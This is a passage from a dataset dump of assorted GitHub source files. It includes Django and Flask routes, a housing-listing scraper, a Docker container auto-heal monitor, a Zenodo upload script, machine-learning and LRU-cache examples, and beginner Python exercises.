model.predict(test_images)\nprint(classifications[0])\nprint(test_labels[0])\n","repo_name":"NirmalKnock/Machine-Learning-Projects","sub_path":"Fasion_MNIST.py","file_name":"Fasion_MNIST.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25411752600","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"mainsite\"\n\nurlpatterns = [\n #path(\"\", views.welcome, name=\"home\"), #go to views.index\n path(\"login\", views.login, name=\"login\"),\n path(\"\", views.home, name=\"home\"),\n path(\"search/\", views.searchpage, name=\"search\"),\n path(\"about\", views.about_us, name=\"aboutus\"),\n path(\"contact\", views.contact, name=\"contact\"),\n\n path(\"create\", views.createlab, name='newlab'),\n]","repo_name":"kentjmv/LabManualMaker","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12371837639","text":"from flask import Flask, request\nfrom flask_restful import Api, Resource, reqparse\n\nfrom lib.accounts import authentication as auth\nfrom lib.services import utils as services_util\n\nimport en_us\nimport utils\n\n\nclass service(Resource):\n def get(self, client_id, service_id):\n request_token = request.headers.get('authorization')\n auth_status = auth.verify(client_id, request_token)\n if auth_status != 200:\n return auth_status\n\n service = utils.get_service(client_id, service_id)\n if service.count() == 0:\n return en_us.SERVICE_NOT_FOUND\n\n return utils.encoder(service[0])\n\n def delete(self, client_id, service_id):\n request_token = request.headers.get('authorization')\n auth_status = auth.verify(client_id, request_token)\n if auth_status != 200:\n return auth_status\n\n utils.services.delete_one(\n {\"associated_to\": client_id, \"id\": service_id}\n )\n\n return \"\", 204\n","repo_name":"codacy-badger/backend","sub_path":"lib/services/endpoints/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"20136643595","text":"import requests\nfrom lxml import etree\n\n'''\n需求: 爬取58同城中二手房的房源信息\n'''\nif __name__ == '__main__':\n url = 'https://cq.58.com/ershoufang/'\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36'\n }\n page_text = requests.get(url, headers).text\n tree = etree.HTML(page_text)\n with open(\"58.txt\", 'w', encoding='utf-8') as f:\n for title in tree.xpath('//section[@class=\"list\"][1]//h3/text()'):\n f.write(title + '\\n')\n","repo_name":"2765776613/Spider","sub_path":"com/sl/第三章 数据解析/03xpath解析之58同城.py","file_name":"03xpath解析之58同城.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3592121403","text":"\r\nszam1 = 10\r\nszam2 = 20\r\n # print (szam1 + szam2) az egyenletek kódja\r\nszam3 = 3.14\r\n\r\n_szam_45 = 45 # hasznalhato karakter tipusok\r\n\r\nprint (szam1)\r\n\r\nszam1 = 87 # változás jele ( pythonban nincs const, viszont javaban es c++ ban van)\r\n # constant = állando\r\nprint (szam1)\r\n\r\n# Updated on 2020.07.28\r\n# Made on 2020.07.28 By Robi","repo_name":"IIHunkaII/PythonBegginerSeriesHU","sub_path":"03-Változók.py","file_name":"03-Változók.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70189074612","text":"import random;\r\ntodoNameList = [\r\n \"Ruben de Roos\",\r\n \"Charlotte Vermeulen\",\r\n \"Ruben Scheepstra\",\r\n \"Thomas de Boer\",\r\n \"Erik Veenstra\",\r\n \"Robbin Mulder\",\r\n \"Jorrit Tjepkema\",\r\n \"Lars Volbeda\",\r\n \"Lars Bosscher\",\r\n \"Carlo van der Wal\",\r\n \"Dimitri Westerveld\",\r\n \"Martha De Vries\",\r\n \"Siebe Witteveen\",\r\n \"Sytze Dalstra\",\r\n \"Colin Feringa\",\r\n \"Jorrit de Haan\",\r\n \"Jelle Komrij\",\r\n \"Jonathan Naberman\",\r\n \"Jesper Schreuder\",\r\n \"Hylke Storteboom\"\r\n]\r\n\r\n\r\ndef split(l,n):\r\n random.shuffle(todoNameList)\r\n for i in range(0,len(l),n):\r\n yield l[i:i+n]\r\n\r\n\r\nprint(list(split(todoNameList,int(input(\"Grote van de groepjes : \")))))","repo_name":"thedutchruben/python-school","sub_path":"Klas in groepjes/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38710074088","text":"import os\nimport sys\nimport time\nimport re\nimport subprocess\n\ndef getHTTPStatusCodeString(url):\n return os.popen('curl -o /dev/null -w %{http_code} ' + url + ' -s -XGET').read()\n\ndef getHTTPStatusCode(url):\n statusCodeString = getHTTPStatusCodeString(url)\n\n if statusCodeString.isdecimal():\n return int(statusCodeString)\n\n return -1\n\ndef hasHTTPStatusCodeError(statusCode : int):\n if statusCode == -1:\n return True\n\n if statusCode >= 400:\n return True\n\n return False\n\nclass MicroService:\n def __init__(self, containerName = \"\"):\n self.containerName = containerName\n\n def restart(self):\n print(\"[{}]: Error occured, restarting container...\".format(self.containerName), file=sys.stderr)\n \n result = os.system(\"docker restart \" + self.containerName)\n\n if result == 0:\n print(\"[{}]: Restarted successfully.\".format(self.containerName))\n else:\n print(\"[{}]: Failed to restart container.\".format(self.containerName))\n\n def isAvailable(self):\n return True\n\n def restartIfNotAvailable(self):\n print(\"[{}]: Checking If microservice available...\".format(self.containerName))\n\n if not self.isAvailable():\n self.restart()\n else:\n print(\"[{}]: This microservice is available now.\".format(self.containerName))\n \n print(\"\")\n\nclass MicroServiceHTTP(MicroService):\n def __init__(self, containerName = \"\", urls = []):\n super().__init__(containerName)\n\n self.urls = urls\n\n def isAvailable(self):\n for url in self.urls:\n httpStatusCode = getHTTPStatusCode(url)\n print(\"Got a http status code from {} : {}\".format(url, httpStatusCode))\n\n if hasHTTPStatusCodeError(httpStatusCode):\n return False\n\n return True\n\nclass MicroServicePrivate(MicroService):\n def __init__(self, containerName = \"\", ports = []):\n super().__init__(containerName)\n\n self.ports = ports\n\n def isAvailable(self):\n for port in self.ports:\n result = os.system('docker exec {} nc -z localhost {}'.format(self.containerName, port))\n\n if result != 0:\n return False\n\n return True\n\nclass MicroServiceProcess(MicroService):\n def __init__(self, containerName = \"\", processNames = []):\n super().__init__(containerName)\n\n self.processNames = processNames\n\n def isAvailable(self):\n for processName in self.processNames:\n result = os.system('docker exec {} pgrep {}'.format(self.containerName, processName))\n \n if result != 0:\n return False\n \n return True\n\nrootURL = 'http://localhost/'\n\nedgeRouter = MicroServiceHTTP(\"docker-compose_edge-router_1\", [rootURL])\nfrontend = MicroServiceHTTP(\"docker-compose_front-end_1\", [rootURL])\ncatalogue = MicroServiceHTTP(\"docker-compose_catalogue_1\", [rootURL + \"catalogue\"])\ncarts = MicroServiceHTTP(\"docker-compose_carts_1\", [rootURL + \"cart\"])\nuser = MicroServiceHTTP(\"docker-compose_user_1\", [rootURL + \"customers\", rootURL + \"cards\", rootURL + \"addresses\"])\n\norders = MicroServicePrivate(\"docker-compose_orders_1\", [80])\nshipping = MicroServicePrivate(\"docker-compose_shipping_1\", [80])\npayment = MicroServicePrivate(\"docker-compose_payment_1\", [80])\nqueueMaster = MicroServicePrivate(\"docker-compose_queue-master_1\", [80])\n\nrabbitmq = MicroServiceProcess(\"docker-compose_rabbitmq_1\", [\"rabbitmq-server\"])\ncatalogueDB = MicroServiceProcess(\"docker-compose_catalogue-db_1\", [\"mysqld\"])\ncartsDB = MicroServiceProcess(\"docker-compose_carts-db_1\", [\"mongod\"])\nuserDB = MicroServiceProcess(\"docker-compose_user-db_1\", [\"mongod\"])\nordersDB = MicroServiceProcess(\"docker-compose_orders-db_1\", [\"mongod\"])\n\nautoHealTargets =[\n edgeRouter,\n frontend,\n catalogue,\n carts,\n user,\n\n orders,\n shipping,\n payment,\n queueMaster,\n\n rabbitmq,\n catalogueDB,\n cartsDB,\n userDB,\n ordersDB\n]\n\nwhile 1:\n print(\"--------------------------------------------\")\n \n for target in autoHealTargets:\n target.restartIfNotAvailable()\n\n print(\"--------------------------------------------\")\n\n time.sleep(10)","repo_name":"Computer-Application-Design-Oasis/TeamProject","sub_path":"autoheal.py","file_name":"autoheal.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70450230772","text":"import streamlit as sl\nimport pandas as pd\nimport requests as req\nimport snowflake.connector\n\nsl.header(\"Zena's Amazing Athleisure Catalog\")\n\n\nsf_conn=snowflake.connector.connect(**sl.secrets[\"snowflake\"])\ncur=sf_conn.cursor()\ncur.execute(\"SELECT COLOR_OR_STYLE FROM catalog_for_website\")\nstyleList = cur.fetchall()\n\n\nstyleListDF=pd.DataFrame(styleList)\n#styleListDF=styleListDF.set_index('COLOR_OR_STYLE')\n\n#sl.write(styleListDF)\ncolor_list = styleListDF[0].values.tolist()\n\nstyleSelected = sl.selectbox(\"Pick a sweatsuit color or style:\", list(color_list))\n\nproduct_caption = 'Our warm, comfortable, ' + styleSelected + ' sweatsuit'\n\ncur.execute(\"SELECT DIRECT_URL FROM catalog_for_website WHERE COLOR_OR_STYLE = '\"+ styleSelected +\"';\")\n\nselectedDF=cur.fetchone()\n\nsl.image(selectedDF[0],width=400,caption=product_caption)\n","repo_name":"dineshwaran-hariram/first_streamlit_app","sub_path":"ZenasStreamLitApp.py","file_name":"ZenasStreamLitApp.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3589552622","text":"def fun1(arg):\n # global x\n # do smth\n print(arg)\n arg = 5\n # x is only defined inside of fun1\n return arg\n\n\ndef fun2rec(count):\n if count > 5:\n return\n print(\" \" * count + \"in\", count)\n fun2rec(count + 1)\n print(\" \" * count + \"out\", count)\n # return None\n\n\n# x = 1\n# a = fun1(\"hello\")\n# a = fun1(x)\n# print('a here', a)\nfun2rec(0)\n\n\ndef mysum(n):\n if n == 0:\n return 0\n # sum of 1..n\n # assuming we know sum 1..n-1\n x = mysum(n - 1) # sum 1 .. n-1\n val = x + n\n return val\n\n\n# write a function that computes the nth fibonacci number\n\n\ndef fib(n):\n if n < 1:\n return 0\n if n == 1:\n return 1\n return fib(n - 1) + fib(n - 2)\n\n\n# 0 1 2 3 4 5 6 < indices\n# 0 1 1 2 3 5 8 < values\n","repo_name":"mhslr/nyu-heuristics","sub_path":"day03/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73791548214","text":"print('Gerador de PA')\nprint('-='*20)\nn1 = int(input('Primeiro termo: '))\nr = int(input('Razão da PA: '))\nc = 1\na = n1\ntotal = 0\nmais = 10\nprint(f'{n1} -> ', end='')\nwhile mais != 0:\n total += mais\n while c < total:\n a += r\n print(f'{a} -> ', end='' )\n c += 1\n print('PAUSA')\n mais = int(input('Quantos termos você que a mais? '))\nprint(f'FIM! Foram {total} termos exibidos na PA')\n","repo_name":"ivanDourado/guanabaraPython","sub_path":"mundo2/exercicios/ex0.62.py","file_name":"ex0.62.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41605455589","text":"# movie_scrapes.py\r\n# Scrapes movies from website and writes them to txt file\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\n\r\nresponse = requests.get(url=\"https://www.empireonline.com/movies/features/best-movies-2/\")\r\nmovies_site = response.text\r\n\r\nsoup = BeautifulSoup(movies_site, 'html.parser')\r\nmovie_num_and_name = [movie.getText() for movie in soup.find_all(name=\"h3\", class_=\"title\")]\r\nordered_movies = movie_num_and_name[::-1]\r\n\r\nwith open(\"films_to_watch.txt\", mode=\"w\", encoding=\"utf8\") as film_list:\r\n for film in ordered_movies:\r\n film_list.write(f\"{film}\\n\")\r\n","repo_name":"bradleycarouthers/day-45_web_scrape","sub_path":"movie_scrape.py","file_name":"movie_scrape.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8025287305","text":"import numpy as np\nimport matplotlib.pyplot as plt\nplt.style.use('bmh')\n\nV = 1000\nB = 1\nq = 1\nm = 1.67e-27\n\ndef E(n):\n return n*V\n\ndef r(n):\n return np.sqrt(2*m*V)/q/B*np.sqrt(n)\n\nxaxis = np.linspace(0,200,1000)\nplt.figure()\nplt.title('Particle Energy')\nplt.plot(xaxis,E(xaxis)/10**6)\nplt.ylabel('Particle Energy [MeV]')\nplt.xlabel('# of half turns')\nplt.tight_layout()\n\nplt.figure()\nplt.title('Cyclotron Radius')\nplt.plot(xaxis,r(xaxis))\nplt.ylabel('Cyclotron Radius [m]')\nplt.xlabel('# of half turns')\nplt.tight_layout()\n\nxaxis = np.linspace(0,8*np.pi,1000)\nplt.figure()\nplt.title('Phase offset')\nplt.plot(xaxis,np.sin(xaxis),label='voltage')\nplt.plot(xaxis,np.sin(xaxis+np.pi),label='particle')\nplt.legend()\nplt.tight_layout()\n\nplt.show()\n\n","repo_name":"MauriceDonner/AcceleratorPhysics","sub_path":"Ex02/2-2.py","file_name":"2-2.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10393407112","text":"from pyspark import SparkContext\nfrom pyspark.mllib.tree import RandomForest, RandomForestModel\nfrom pyspark.mllib.util import MLUtils\nimport os\nos.environ['PYSPARK_PYTHON'] = '/usr/bin/python3'\n\n\n\nsc = SparkContext(appName=\"randomForest\")\n# Load and parse the data file into an RDD of LabeledPoint.\ndata = MLUtils.loadLibSVMFile(sc, '/liyuanshuo/randomForestData.data')\n# Split the data into training and test sets (30% held out for testing)\n(trainingData, testData) = data.randomSplit([0.7, 0.3])\n\n# Train a RandomForest model.\n# Empty categoricalFeaturesInfo indicates all features are continuous.\n# Note: Use larger numTrees in practice.\n# Setting featureSubsetStrategy=\"auto\" lets the algorithm choose.\n# 参数说明:\n# numClasses:分类数,需比实际类别数量大,这里设置为8;\n# categoricalFeaturesInfo:特征类别信息,为空,意为所有特征为连续型变量;\n# numTrees:森林中树的数量,这里设为20;\n# featureSubsetStrategy:特征子集采样策略,auto表示算法自主选取;\n# impurity:信息纯度度量,进行分类时可选择熵或基尼,这里设置为基尼;\n# maxDepth:决策树最大深度,这里设为18;\n# maxBins:特��分裂时的最大划分数量,这里设为32。\nmodel = RandomForest.trainClassifier(trainingData, numClasses=8, categoricalFeaturesInfo={},\n numTrees=20, featureSubsetStrategy=\"auto\",\n impurity='gini', maxDepth=18, maxBins=32)\n\n# Evaluate model on test instances and compute test error\npredictions = model.predict(testData.map(lambda x: x.features))\nlabelsAndPredictions = testData.map(lambda lp: lp.label).zip(predictions)\nactual = labelsAndPredictions.filter(lambda v_p: v_p[0] == v_p[1]).count() / float(testData.count())\n\nprint('***'*10 + \"打印随机森林的相关信息\" + '***' * 10)\nprint('Random Forest precision: ' + str(actual))\nprint('Learned classification forest model:')\nprint(model.toDebugString())\nprint('***'*10 + '***' * 10)\n\n# Save and load model\n# model.save(sc, \"myModelPath\")\n# sameModel = RandomForestModel.load(sc, \"myModelPath\")\n","repo_name":"Li-Ao-Git/finalBigDataHomework","sub_path":"randomForest.py","file_name":"randomForest.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43714733182","text":"from collections import OrderedDict\n\nclass LRUCache(object):\n def __init__(self, capacity):\n self.array = OrderedDict()\n self.capacity = capacity\n\n def get(self, key):\n if key in self.array:\n value = self.array[key]\n # Remove first\n del self.array[key]\n # Add back in\n self.array[key] = value\n return value\n else:\n return -1\n\n def put(self, key, value):\n if key in self.array:\n # Delete existing key before refreshing it\n del self.array[key]\n elif len(self.array) >= self.capacity:\n # Delete oldest\n k, v = next(iter(self.array.items()))\n del self.array[k]\n self.array[key] = value\n\n\nfrom queue import Queue\n\nclass LRUCacheDifferent:\n\n def __init__(self, capacity: int):\n self.events = Queue()\n self.counts = defaultdict(int)\n self.capacity = capacity\n self.data = {}\n\n def get(self, key: int) -> int:\n if key in self.data:\n self.events.put(key)\n self.counts[key] += 1\n return self.data[key]\n\n return -1\n\n def put(self, key: int, value: int) -> None:\n self.data[key] = value\n self.events.put(key)\n self.counts[key] += 1\n self.clean()\n\n def clean(self):\n while len(self.data) > self.capacity:\n key = self.events.get()\n self.counts[key] -= 1\n if self.counts[key] <= 0:\n del self.data[key]\n\n\n# Your LRUCache object will be instantiated and called as such:\n# obj = LRUCache(capacity)\n# param_1 = obj.get(key)\n# obj.put(key,value)\n","repo_name":"kevinlondon/leetcode","sub_path":"0000-0999/146_lru_cache.py","file_name":"146_lru_cache.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"72920016372","text":"import argparse\nimport time\n\nimport gym\nimport numpy as np\nimport torch\n\n\ndef cartpole_naive(obs):\n x, v, theta, theta_dot = obs\n if theta < 0:\n return 0\n else:\n return 1\n\n\ndef cartpole_medium(obs):\n x, v, theta, theta_dot = obs\n if theta <= 0:\n if theta_dot > -0.05:\n return 1\n else:\n return 0\n else:\n if theta_dot < 0.05:\n return 0\n else:\n return 1\n\n\ndef cartpole_perfect(obs):\n x, v, theta, theta_dot = obs\n if theta <= 0:\n if theta_dot > 1:\n return 1\n else:\n return 0\n else:\n if theta_dot < -1:\n return 0\n else:\n return 1\n\n\ndef mountain_car_deterministic(obs):\n pos, vel = obs\n if vel < 0:\n return np.array([-1])\n else:\n return np.array([+1])\n\n\ndef mountain_car_explore(obs):\n pos, vel = obs\n if vel < 0:\n return np.array([-1])\n else:\n return None\n\n\ndef mountain_car_normal(obs):\n sigma = 1.0\n pos, vel = obs\n if vel < 0:\n return (np.random.randn(1) - 0.1) * sigma\n else:\n return (np.random.randn(1) + 0.1) * sigma\n\n\ndef pendulum(obs):\n cos, sin, vel = obs\n left, right = np.array([-1]), np.array([1])\n if vel >= 0:\n if cos <= 0:\n action = right\n else:\n action = left\n else:\n if cos <= 0:\n action = left\n else:\n action = right\n #print('State: ' + str(obs) + ' action: ' + str(action))\n return action\n\n\ndef eval_policy(policy, env, test_episodes=100, render=False, wait_key=False):\n rewards = []\n for e in range(test_episodes):\n state = env.reset()\n done = False\n tot_reward = 0\n while not done:\n if policy == 'random':\n action = env.action_space.sample()\n else:\n if isinstance(policy, torch.nn.Module):\n with torch.no_grad():\n action = policy(\n torch.tensor(state).unsqueeze(0).float()\n )[0].detach().numpy()\n else:\n action = policy(state)\n next_state, rew, done, info = env.step(action)\n if render:\n env.render()\n if wait_key:\n input()\n tot_reward += rew\n state = next_state\n rewards.append(tot_reward)\n return np.array(rewards)\n\n\nif __name__ == '__main__':\n import common\n import os\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--model', action='store', type=str, nargs=1, required=True)\n parser.add_argument('--env', action='store', type=str, nargs=1, required=True)\n parser.add_argument('--ntest', action='store', type=int, nargs=1, required=False, default=[20])\n args = parser.parse_args()\n\n _env = gym.make(args.env[0])\n if args.model[0] == 'random':\n _actor = args.model[0]\n else:\n _actor = torch.load(args.model[0], 'cpu')\n\n res = eval_policy(_actor, _env, test_episodes=args.ntest[0])\n print(f'Mean test reward: {res.mean()} variance: {res.std()}')\n","repo_name":"fedetask/des-rl","sub_path":"hardcoded_policies.py","file_name":"hardcoded_policies.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75312095733","text":"from django.shortcuts import render, redirect\nfrom django.db.models import Count, Sum\nfrom .models import Order, Product\n\ndef index(request):\n context = {\n \"all_products\": Product.objects.all()\n }\n return render(request, \"store/index.html\", context)\n\ndef checkout(request):\n quantity_from_form = int(request.POST[\"quantity\"])\n product_from_form = int(request.POST[\"product\"])\n product = Product.objects.get(id=product_from_form)\n total_charge = quantity_from_form * product.price\n print(\"Charging credit card...\")\n order = Order.objects.create(quantity_ordered=quantity_from_form, total_price=total_charge)\n return redirect('thank_you', id=order.id)\n\ndef thank_you(request, id:int):\n order = Order.objects.get(id=id)\n total_qty = Order.objects.aggregate(Sum('quantity_ordered'))\n total_price = Order.objects.aggregate(Sum('total_price'))\n context = {\n 'order': order,\n 'total_qty': total_qty,\n 'total_price': total_price,\n }\n return render(request, \"store/thank_you.html\", context=context)\n","repo_name":"gfhuertac/coding_dojo_python","sub_path":"django_full_stack/amadon/poorly_coded_store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75197545973","text":"t = int(input())\nfor tc in range(1, t + 1):\n n = int(input())\n num_list = [2, 3, 5, 7, 11]\n print(f\"#{tc}\", end=\" \")\n for num in num_list:\n cnt = 0\n while n % num == 0:\n n /= num\n cnt += 1\n print(cnt, end=\" \")\n print()","repo_name":"keeeeeey/baekjoon_algorithm","sub_path":"00.SSAFY_ALGORITHM/수업시간 문제풀이/간단한 소인수분해.py","file_name":"간단한 소인수분해.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26739235235","text":"\"\"\"\nIntroduction to Sets\n\nMs. Gabriel Williams is a botany professor at District College.\nOne day, she asked her student Mickey to compute the average \nof all the ```N``` plants with distinct heights in her greenhouse.\n\"\"\"\ndef average(array):\n array = set(array)\n return sum(array) / len(array)\n\nif __name__ == '__main__':\n n = int(input())\n arr = list(map(int, input().split()))\n result = average(arr)\n print(result)","repo_name":"nileshnegi/hackerrank-python","sub_path":"day009/ex56.py","file_name":"ex56.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73365768374","text":"from typing import Any\n\nfrom django.contrib import admin\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin as DjangoUserAdmin\nfrom django.db.models import Q, QuerySet\nfrom django.http import HttpRequest\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .forms import CustomUserChangeForm, CustomUserCreationForm\nfrom .models import CustomUser\n\nUSER_MODEL: type[CustomUser] = get_user_model()\n\n\n@admin.register(CustomUser)\nclass CustomUserAdmin(DjangoUserAdmin):\n model = USER_MODEL\n add_form = CustomUserCreationForm\n form = CustomUserChangeForm\n\n list_display = (\n \"get_username\",\n \"email\",\n \"first_name\",\n \"last_name\",\n \"is_staff\",\n )\n list_filter = (\n \"email\",\n \"is_staff\",\n \"is_active\",\n )\n readonly_fields = (\n \"date_joined\",\n \"last_login\",\n )\n\n fieldsets = (\n (\n None,\n {\n \"fields\": (\n \"username\",\n \"password\",\n )\n },\n ),\n (\n _(\"Personal info\"),\n {\n \"fields\": (\n \"first_name\",\n \"last_name\",\n \"email\",\n \"avatar\",\n \"avatar_provider\",\n )\n },\n ),\n (\n _(\"Permissions\"),\n {\n \"fields\": (\n \"is_active\",\n \"is_staff\",\n \"is_superuser\",\n \"groups\",\n \"user_permissions\",\n ),\n },\n ),\n (\n _(\"Important dates\"),\n {\n \"fields\": (\n \"date_joined\",\n \"last_login\",\n )\n },\n ),\n )\n\n # Needed to invoke forms\n # Hours wasted 0.5\n add_fieldsets = (\n (\n None,\n {\n \"classes\": (\"wide\",),\n \"fields\": (\n \"username\",\n \"email\",\n \"password1\",\n \"password2\",\n ),\n },\n ),\n )\n\n @admin.display(description=\"username\")\n def get_username(\n self,\n obj: CustomUser,\n ) -> CustomUser:\n return obj\n\n def get_search_results(\n self,\n request: HttpRequest,\n queryset: QuerySet[CustomUser],\n search_term: str,\n ) -> tuple[Any | QuerySet[CustomUser], bool]:\n queryset, may_have_duplicates = super().get_search_results(\n request,\n queryset,\n search_term,\n )\n\n if search_term:\n search_term_list = [\n # Remove trailing whitespace\n # We might have something like\n # user = ['baseplate-admin ', ' baseplate-foot']\n # make it\n # user = ['baseplate-admin','baseplate-foot']\n item.strip()\n for item in search_term.split(\",\")\n ]\n queryset = self.model.objects.filter(\n Q(username__in=search_term_list) | Q(email__in=search_term_list)\n )\n\n return queryset, may_have_duplicates\n\n\n# MoneyPatch\n# https://stackoverflow.com/questions/6191662/django-admin-login-form-overriding-max-length-failing\nfrom django.contrib.auth.forms import AuthenticationForm # noqa\n\nAuthenticationForm.base_fields[\"username\"].label = \"Email | Username (with discriminator) \"\n","repo_name":"baseplate-admin/CoreProject","sub_path":"backend/django_core/apps/user/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3597,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"21"} +{"seq_id":"24261594591","text":"from zzdeeprollover.addAlternativePathToOriginalVideo import addAlternativePathToOriginalVideo\nfrom zzdeeprollover.detectRolloverFrames import detectRolloverFrames\nimport random\nimport os\n\nlocalComputer = True\n\n# Size of image on which DL algorithm will be applied\nresizeCropDimension = 34\n# Approximate half dimension of validation video and of initial image extracted\nimagesToClassifyHalfDiameter = 50\n# Window of median rolling mean applied on rollover detected\nmedianRollingMean = 5\n\npathToZZoutput = 'ZZoutputNew' if localComputer else 'drive/MyDrive/ZZoutputNew'\n\nfile_path = 'listOfVideosToTakeIntoAccount.txt'\nwith open(file_path, 'r') as file:\n lines = file.readlines()\n videos = [line.strip() for line in lines]\n\ntestingVid = videos.pop(random.randint(0, len(videos)-1))\n\n# If launched on a computer other than the one used to launch the tracking, the paths to the original raw videos saved in the result file are incorrect: they are thus corrected with the lines below\nif not(localComputer):\n alternativePathToFolderContainingOriginalVideos = \"drive/MyDrive/rawVideos/\"\n for video in videos:\n addAlternativePathToOriginalVideo(pathToZZoutput, video, alternativePathToFolderContainingOriginalVideos)\n\n###\n\nif __name__ == '__main__':\n\n print(\"Videos used for testing:\", testingVid)\n \n detectRolloverFrames(testingVid, pathToZZoutput + '/', medianRollingMean, resizeCropDimension, 1, 1, imagesToClassifyHalfDiameter, os.path.join('model', 'model.pth'))\n","repo_name":"oliviermirat/ZZDeepRollover","sub_path":"useModel.py","file_name":"useModel.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"30324101487","text":"\"\"\"\nScript to upload files to Zenodo repository.\n\n$ python zenodome.py --help\n\nfor usage.\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport shlex\n\n\nparser = argparse.ArgumentParser(description='Upload to zenodo')\n\nparser.add_argument('--id', metavar='id', type=str, nargs=1,\n help='Zenodo depository ID; http://zenodo.org/deposit/',\n required=True)\n\nparser.add_argument('--token', metavar='token', type=str, nargs=1,\n help='Zenodo API token', required=True)\n\nparser.add_argument('--filepaths', metavar='filepaths', type=str, nargs='+',\n help='Filepath(s) to upload. Accepts globs')\n\nargs = parser.parse_args()\nfilepaths = args.filepaths\ndepository_id = args.id[0]\ntoken = args.token[0]\n\ncmd = 'curl -H \"Accept: application/json\" -H \"Authorization: Bearer {}\" \"https://www.zenodo.org/api/deposit/depositions/{}\"'.format(token, depository_id)\n\np = subprocess.Popen(shlex.split(cmd), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\noutput, err = p.communicate()\n\njson_data = json.loads(output)\nbucket = json_data['links']['bucket']\n\nfor filepath in filepaths:\n filename = os.path.split(filepath)[-1]\n cmd_upload = \"curl --progress-bar -o /dev/null --upload-file {} {}/{}?access_token={}\" .format(filepath, bucket, filename, token)\n p = subprocess.Popen(shlex.split(cmd_upload), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output, err = p.communicate()\n","repo_name":"chrisroadmap/ar6","sub_path":"scripts/zenodome.py","file_name":"zenodome.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"} +{"seq_id":"73027807093","text":"import os\nimport sys\nimport traceback\nfrom future.utils import raise_with_traceback\nfrom flask import current_app, request, g\nfrom flask_sqlalchemy import SQLAlchemy\nimport functools\nfrom collections import defaultdict\nimport datetime\n\nfrom werkzeug.local import LocalProxy\nfrom sqlalchemy import func, distinct, and_, select, UniqueConstraint\nimport logging\n\nfrom knowledge_repo._version import __version__\nfrom knowledge_repo.repository import KnowledgeRepository\nfrom .proxies import current_repo, db_session\nfrom .utils.models import unique_constructor\nfrom .utils.search import get_keywords\nfrom sqlalchemy.ext.hybrid import hybrid_property\nfrom sqlalchemy.ext.orderinglist import ordering_list\nfrom sqlalchemy.ext.associationproxy import association_proxy\n\nlogger = logging.getLogger(__name__)\n\ndb = SQLAlchemy()\ndb_session = LocalProxy(lambda: current_app.db.session)\n\n\nclass IndexMetadata(db.Model):\n __tablename__ = 'index_metadata'\n __table_args__ = (\n UniqueConstraint('type', 'name', name='_uc_type_name'),\n )\n\n id = db.Column(db.Integer, nullable=False, primary_key=True)\n type = db.Column(db.String(255), nullable=False)\n name = db.Column(db.String(512), nullable=False)\n value = db.Column(db.String(512), nullable=True)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.utcnow, 